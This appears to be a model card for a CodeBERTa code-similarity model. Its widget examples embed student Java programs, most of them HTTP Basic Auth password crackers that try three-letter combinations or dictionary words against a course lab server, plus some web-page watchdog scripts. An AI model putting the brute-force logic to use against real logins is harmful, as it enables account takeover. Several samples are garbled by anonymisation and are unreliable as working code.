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SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2

Sentence Similarity
sentence-transformers
Safetensors
roberta
feature-extraction
dense
Generated from Trainer
dataset_size:34368
loss:CachedMultipleNegativesRankingLoss
text-embeddings-inference
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SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2 / README.md
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 ---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:34368
- loss:CachedMultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport\
\ java.util.*;\n\nclass BruteForce {\n\n String password=\"\";\n\n int num\
\ =401;\n\n\n public static void main (String[] args) {\n\n String str=\"\
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n BruteForce URLcon;\n\
\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\
\ \n if (args.length == 0) {\n \t\n \tSystem.err.println (\n\
\ \t\t\n \t\t\"Usage : java BruteForce <username>\");\n \treturn;\n\
\ \t\n \t}\n String username = args[0];\n \n\n t0=System.currentTimeMillis();\n\
\n System.out.println (\" \" + new Date());\n \n System.out.println\
\ (\"Using BruteForce method attack \"+username+\"'s password.Please waiting.......\"\
);\n\n for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\
\ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \
\ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\
\ \n \treturn;\n\n }\n\n for\
\ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ double dt =t1-t0;\n\n\n\n System.out.println(\"\
It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ System.out.println (\"Finish \" + new Date());\n \
\ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\
\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\
It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ \n System.out.println (\"Finish \" + new\
\ Date());\n \n \t return;\n\n \
\ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\
\ password\");\n\n}\n\n public BruteForce (String password, String username){\n\
\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \
\ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\
\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
\nclass Dictionary {\n\n private String password=\"\";\n\n private int num=401;\n\
\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\
\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\
\ String line =\"\";\n \n if (args.length == 0) {\n \t\n \
\ System.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\"\
);\n return;\n \t\n }\n \n String username = args[0];\n\
\ \n \n t0=System.currentTimeMillis();\n \n System.out.println\
\ (\" \" + new Date());\n System.out.println (\"Using Dictionary method\
\ attack \"+username+\"'s password. Please waiting.......\");\n\n try{\
\ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\
));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon\
\ = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\
\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \
\ \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds\");\n \n System.out.println (\"Finish\
\ \" + new Date());\n \n \treturn;\n\n \
\ }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \t\
System.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n\
\ }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n\
\ public Dictionary (String password,String username) {\n\n \t String urlString\
\ = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n \
\ String userPassword = username+\":\"+password ;\n\n String encoding\
\ = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\
\ URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
- "import java.util.*;\nimport java.io.*;\nimport java.*;\n\npublic class Dogs5\n\
{\n public static void main(String [] args) throws Exception\n { \n \
\ executes(\"rm index.*\");\n executes(\"wget http://www.cs.rmit.edu./students\"\
);\n\n while (true)\n {\n String addr= \"wget http://www.cs.rmit.edu./students\"\
;\n executes(addr);\n String hash1 = md5sum(\"index.html\");\n\
\ String hash2 = md5sum(\"index.html.1\");\n System.out.println(hash1\
\ +\"|\"+ hash2);\n \n BufferedReader buf = new BufferedReader(new FileReader(\"\
/home/k//Assign2/ulist1.txt\"));\n\n String line=\" \" ;\n String\
\ line1=\" \" ;\n String line2=\" \";\n String line3=\" \";\n\
\ String[] cad = new String[10];\n \n executes(\"./.sh\"\
);\n \n int i=0;\n while ((line = buf.readLine()) != null)\n\
\ {\n \n line1=\"http://www.cs.rmit.edu./students/images\"\
+line;\n if (i==1)\n line2=\"http://www.cs.rmit.edu./students/images\"\
+line;\n if (i==2)\n line3=\"http://www.cs.rmit.edu./students/images\"\
+line;\n i++;\n }\n System.out.println(line1+\" \"\
+line2+\" \"+line3); \n\n\n executes(\"wget \"+line1);\n executes(\"\
wget \"+line2);\n executes(\"wget \"+line3);\n \n String\
\ hash3 = md5sum(\"index.html.2\"); \n String hash4 = md5sum(\"index.html.3\"\
); \n String hash5 = md5sum(\"index.html.4\");\n\n \n\n\nBufferedReader\
\ buf2 = new BufferedReader(new FileReader(\"/home/k//Assign2/ulist1.txt\"));\n\
\n String linee=\" \" ;\n String linee1=\" \" ;\n String\
\ linee2=\" \";\n String linee3=\" \";\n\n executes(\"./ip1.sh\"\
);\n\n int j=0;\n while ((linee = buf2.readLine()) != null)\n\
\ {\n\n linee1=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n if (j==1)\n linee2=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n if (j==2)\n linee3=\"http://www.cs.rmit.edu./students/images\"\
+linee;\n j++;\n }\n System.out.println(line1+\" \"\
+line2+\" \"+line3);\n\n\n executes(\"wget \"+linee1);\n executes(\"\
wget \"+linee2);\n executes(\"wget \"+linee3);\n\n String hash6\
\ = md5sum(\"index.html.5\");\n String hash7 = md5sum(\"index.html.6\"\
);\n String hash8 = md5sum(\"index.html.7\"); \n \n \
\ boolean pict=false;\n if (hash3.equals(hash6))\n pict=true;\n\
\n boolean pict2=false;\n if (hash3.equals(hash6))\n \
\ pict2=true;\n \n boolean pict3=false;\n if (hash3.equals(hash6))\n\
\ pict3=true;\n\n \n if (hash1.equals(hash2))\n \
\ { \n executes(\"./difference.sh\");\n executes(\"./mail.sh\"\
);\n \n \n\n }\n else\n {\n if (pict\
\ || pict2 || pict3)\n {\n executes(\".~/Assign2/difference.sh\"\
); \n executes(\".~/Assign2/mail2.sh\");\n \
\ }\n\n executes(\".~/Assign2/difference.sh\");\n executes(\"\
.~/Assign2/mail.sh\");\n \n \n \n executes(\"./reorder.sh\"\
);\n executes(\"rm index.html\");\n executes(\"cp index.html.1\
\ index.html\");\n executes(\"rm index.html.1\");\n executes(\"\
sleep 5\"); \n } \n }\n }\n\n public static void executes(String\
\ comm) throws Exception\n {\n Process p = Runtime.getRuntime().exec(new String[]{\"\
/usr/local//bash\",\"-c\", comm });\n\n BufferedReader bf = new BufferedReader(new\
\ InputStreamReader(p.getErrorStream()));\n\n String cad;\n while((\
\ cad = bf.readLine()) != null)\n {\n System.out.println();\n\
\ }\n\t p.waitFor();\n }\n\n public static String md5sum(String file)\
\ throws Exception\n {\n String cad;\n String hash= \" \"; \n\
\n Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\"\
,\n \"-c\", \"md5sum \"+file });\n\
\ BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\
\n while((bf = cad.readLine()) != null)\n {\n StringTokenizer\
\ word=new StringTokenizer();\n hash=word.nextToken();\n System.out.println(hash);\n\
\ }\n return hash; \n\n }\n\n \n \n}\n\n"
- "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class BruteForce\n\
{\n public static void main(String[] args) throws Exception\n {\n \n\
\ String password = checkPassword(); \n\n System.out.println(\"Congratulations\
\ Your password is \"+ password );\n \n \n\n URL url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection sec = (HttpURLConnection)url.openConnection();\n\
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(\":\"+password));\n\
\ BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));\n\
\ String inputLine;\n\n while ((inputLine = in.readLine()) != null)\n\
\ System.out.println(inputLine);\n in.close();\n }\n\n \n\n \
\ private static String checkPassword() throws Exception\n {\n String\
\ Password=\" \";\n int attempt=0;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
);\n HttpURLConnection sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\"\
,\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\n \
\ \"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
z\",\n \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"\
I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"\
R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i\
\ < cad.length; i++)\n {\n for (int j=0; j< cad.length;j++)\n \
\ {\n for (int k=0; k<cad.length;k++)\n {\n \
\ attempt++;\n String Passwd = new String(cad[i]+cad[j]+cad[k]);\n\
\ String userPasswd= \":\"+Passwd;\n System.out.println(attempt+\"\
\ \"+userPasswd);\n \n sec = (HttpURLConnection)url.openConnection();\n\
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(userPasswd));\n\
\n if (sec.getHeaderField(0).equals(\"HTTP/1.1 200 OK\"))\n \
\ {\n Password=Passwd;\n return Password;\n\
\ }\n sec.disconnect();\n } \n \
\ } \n } \n return \"Password not found\";\n }\n\n private static\
\ String encode(String userPasswd) throws Exception\n {\n String ad;\n\
\ String encodedUserPasswd=\" \";\n String addr= \"~//base64_encode.php\
\ \"+userPasswd ;\n Process p = Runtime.getRuntime().exec(new String[]{\"\
/usr/local//bash\",\"-c\", addr});\n BufferedReader resp = new BufferedReader(new\
\ InputStreamReader(p.getInputStream()));\n \n while ( (cad = resp.readLine())\
\ != null )\n {\n \n encodedUserPasswd=cad;\n }\n \
\ return encodedUserPasswd;\n }\n}\n\n"
- source_sentence: "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\
\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime\
\ t = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\
\t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr =\
\ t.exec(\"md5sum csfirst.html\");\n\n InputStreamReader stre\
\ = new InputStreamReader(pr.getInputStream());\n BufferedReader\
\ bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\
\t\t index = s.indexOf(' ');\n\t\t Fmd5 = s.substring(0,index);\n\t\t \
\ System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t \
\ pr = t.exec(\"wget http://www.cs.rmit.edu./students/\");\n\t\t pr = null;\n\
\t\t \n\t\t pr = t.exec(\"md5sum index.html\");\n\t\t \n\n\t\t InputStreamReader\
\ stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader\
\ bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\
\t\t index = temp1.indexOf(' ');\n\t\t Smd5 = temp1.substring(0,index);\n\
\t\t System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5\
\ == Smd5)\n\t\t System.out.println(\" changes Detected\");\n\t\t else\n\
\t\t {\n\t\t pr = t.exec(\"diff csfirst.html index.html > report.html\"\
);\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\
\t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(\" Message.txt\
\ | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.\");\n\t\t\
\ \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException\
\ e){}\n\t}\n}\t\t\n"
sentences:
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\
\ class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime\
\ rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\
\ String mesg1 = new String();\n String subject = new String(\"\
Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \
\ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\
\ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\
\ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\
\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\
\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \
\ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\
\ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\
md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\
\ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\
\ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\
\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\
\ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\
\ \n if(initialmd5.equals(presentmd5))\n \
\ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\
\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\
);\n System.out.println(\" is different\"); \n \
\ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \
\ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\
rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\
}\t\t\n"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n\
\ exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.net.*; \nimport java.io.*; \nimport java.util.Date; \npublic\
\ class Dictionary{\nprivate static String password=\" \"; \n\n \n public\
\ static void main(String[] args) {\n String Result=\"\"; \n\t if (args.length<1)\n\
\t {\n System.out.println(\"Correct Format Filename username e.g<>\");\
\ \n System.exit(1);\t\n\t }\n\t \n\t Dictionary dicton1 = new Dictionary();\n\
\ Result=dicton1.Dict(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\
\ \n\t System.out.println(\"Cracked Password for The User \"+args[0]+\" The Password\
\ is..\"+Result); \n \n\n \n \n }\n\n\n\n private String Dict(String urlString,String\
\ username) \n { \n int cnt=0;\n FileInputStream stream=null;\n DataInputStream\
\ word=null;\n\n\ttry{ \n\t stream = new FileInputStream (\"/usr/share/lib/dict/words\"\
); \n\n\tword =new DataInputStream(stream);\n\t t0 = System.currentTimeMillis();\
\ \n\t\t while (word.available() !=0) \n\t\t\t{\n\t\t\t\t\t\t\t\t\t\n\t\t\t\
password=word.readLine();\n\t\t\t\t if (password.length()!=3)\n\t\t\t\t {\n\t\t\
\t\t\tcontinue;\n\t\t\t\t }\n\t\t\t\t System.out.print(\"crackin...:\"); \n\t\t\
\t System.out.print(\"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t URL\
\ url = new URL (urlString);\n\t\t\t\tString userPassword=username+\":\"+password;\
\ \n\t\t\t\t \n\t\t\t\t String encoding = new url.misc.BASE64Encoder().encode\
\ (userPassword.getBytes());\n\t\t\t\t\t URLConnection conc = url.openConnection();\n\
\t\t\t\t\t\t conc.setRequestProperty (\"Authorization\", \" \" + encoding);\t\
\t\t \n\t\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\t cnt++;\n\t\t\t\t\t \
\ if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\"))\n\t\
\t\t\t\t\t {\n\t\t\t\t\t\t\tSystem.out.println(\"The Number Of Attempts : \"+cnt);\
\ \n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\t\t\t\t\t\t net=t1-t0;\n\
\t\t\t\t\t\t\tSystem.out.println(\"Total Time in secs...\"+net/1000); \n\t\t\t\
\t\t\t\treturn password; \n\t\t\t\t\t\t}\n \t\t \t\t\n\t }\n\n\t\t\t\t\
}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\t e.printStackTrace();\
\ \n\n\t\t\t\t}\n\n \ntry\n{\nword.close();\nstream.close(); \n\t\n}\n \n\
catch (IOException e)\n{ \nSystem.out.println(\"Error in closing input file:\\\
n\" + e.toString()); \n} \n\nreturn \"Password could not found\"; \n } \n \n\
\n}"
- source_sentence: "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\
\ extends Authenticator {\n\n \n private String username;\n \n private\
\ char [] thisPassword;\n \n private URL url;\n \n private BufferedReader\
\ bf;\n\n \n public static void main(String [] args) {\n if(args.length!=3)\
\ {\n System.err.println(\n \"usage: Dictionary\
\ <url> <username> <dictionary-file>\");\n System.exit(1);\n \
\ }\n Dictionary d = null;\n try {\n d = new Dictionary(args[0],\
\ args[1], args[2]);\n } catch (MalformedURLException me) {\n \
\ me.printStackTrace();\n System.exit(1);\n } catch (FileNotFoundException\
\ fe) {\n fe.printStackTrace();\n System.exit(1);\n \
\ }\n d.work();\n }\n\n \n public Dictionary(String url, String\
\ username, String passwordFilename) \n throws MalformedURLException,\
\ FileNotFoundException {\n this.url = new URL(url);\n this.username\
\ = username;\n thisPassword = new char [] {'a'};\n File f = new\
\ File(passwordFilename);\n FileReader fr = new FileReader(f);\n \
\ bf = new BufferedReader(fr);\n }\n\n \n public void work() {\n \
\ Authenticator.setDefault(this);\n HttpURLConnection uc = null;\n\
\ try { \n uc\
\ = (HttpURLConnection) url.openConnection(); \n uc.connect(); \
\ \n while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\
\ &&\n thisPassword !=null) {\n try { \
\ \n InputStream is = uc.getInputStream();\
\ \n uc.connect(); \n \
\ } catch (ProtocolException pe) { \n \
\ uc = (HttpURLConnection) url.openConnection(); \n \
\ } catch (NullPointerException npe) { \n npe.printStackTrace();\
\ \n System.exit(1); \
\ \n } \n \
\ } \n } catch\
\ (java.io.IOException e ) { \n e.printStackTrace();\
\ \n System.exit(1); \
\ \n } \
\ \n System.out.println(\"password=\" + new String(thisPassword));\n\
\ }\n\n \n public PasswordAuthentication getPasswordAuthentication()\
\ {\n String s=null;\n try {\n for(s = bf.readLine();\
\ s!=null; s = bf.readLine()) {\n if(s.length()==3) {\n \
\ break;\n }\n } \n } catch (IOException\
\ e) {\n e.printStackTrace();\n System.exit(1);\n \
\ }\n if(s.length()!=3) {\n thisPassword = null;\n }\
\ else {\n thisPassword = s.toCharArray();\n }\n return\
\ new PasswordAuthentication(username, thisPassword);\n }\n}\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\
\ String strUserName;\n private String strURL;\n private String strDictPath;\n\
\ private int iAttempts;\n\n \n public Dictionary(String strURL,String\
\ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\
\ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\
\ }\n \n\n public String getPassword(){\n URL u;\n String result\
\ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\
\ uc;\n String strPassword = new String();\n String strEncode;\n \
\ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\
\ uc = u.openConnection();\n uc.setDoInput(true);\n \
\ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\
\ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\
\ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\
);\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\
\ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\
\ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\
\ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\
\ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\
\ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \
\ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\
\ String getNewPassword()\n throws PasswordFailureException{\n try {\n \
\ {\n line = inputFile.readLine();\n }while (line.length() !=\
\ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\
\ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\
\ RuntimeException {\n\n public PasswordFailureException() {\n }\n}"
- "import java.net.*;\nimport java.io.*;\n\n\npublic class BruteForce extends Authenticator\
\ {\n\n \n private String username;\n \n private URL url;\n \n\
\ private char [] nextPassword;\n \n private char [] thisPassword;\n\n\
\ \n public static void main(String [] args) {\n if(args.length!=2)\
\ {\n System.err.println(\"usage: BruteForce <url> <username>\");\n\
\ System.exit(1);\n }\n BruteForce bf = null;\n \
\ try {\n bf = new BruteForce(args[0], args[1]);\n } catch\
\ (MalformedURLException me) {\n me.printStackTrace();\n \
\ System.exit(1);\n }\n bf.work();\n System.exit(0);\n \
\ }\n\n \n public BruteForce(String url, String username) \n \
\ throws MalformedURLException {\n this.url = new URL(url);\n \
\ this.username = username;\n this.nextPassword = new char [] {'a'};\n\
\ }\n\n \n public void work() {\n Authenticator.setDefault(this);\n\
\ HttpURLConnection uc = null;\n try {\n uc = (HttpURLConnection)\
\ url.openConnection();\n uc.connect();\n\t while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\n\
\ && nextPassword!=null) {\n try {\n \
\ InputStream is = uc.getInputStream();\n uc.connect();\n\
\ } catch (ProtocolException pe) {\n uc = (HttpURLConnection)\
\ url.openConnection();\n } catch (NullPointerException npe) {\n\
\ npe.printStackTrace();\n System.exit(1);\n\
\ } \n }\n } catch (java.io.IOException e) {\n\
\ e.printStackTrace();\n System.exit(1);\n }\n \
\ System.out.println(\"password=\" + new String(thisPassword));\n }\n\n\
\ \n public PasswordAuthentication getPasswordAuthentication() {\n \
\ createNextPassword();\n return new PasswordAuthentication(username,\
\ thisPassword);\n }\n\n \n public void createNextPassword() {\n \
\ int i;\n if(thisPassword==null) {\n thisPassword = new\
\ char [] {'A', 'A', 'A'};\n nextPassword = new char [] {'A', 'A',\
\ 'B'};\n return;\n }\n thisPassword = nextPassword;\n\
\ if(nextPassword[2]=='Z') {\n nextPassword[2]='a';\n \
\ return;\n } else if(nextPassword[2]!='z') {\n i = (int)\
\ nextPassword[2];\n nextPassword[2]=(char) ++i;\n } else {\n\
\ nextPassword[2]='A';\n if(nextPassword[1]=='Z') {\n \
\ nextPassword[1]='a';\n } else if(nextPassword[1]!='z')\
\ {\n i = (int) nextPassword[1];\n nextPassword[1]=(char)\
\ ++i;\n } else {\n nextPassword[1]='A';\n \
\ if(nextPassword[0]=='Z') {\n nextPassword[0]='a';\n\
\ } else if(nextPassword[0]!='z') {\n i = (int)\
\ nextPassword[0];\n nextPassword[0]=(char) ++i;\n \
\ } else {\n nextPassword = null;\n }\n\
\ }\n }\n }\n}\n"
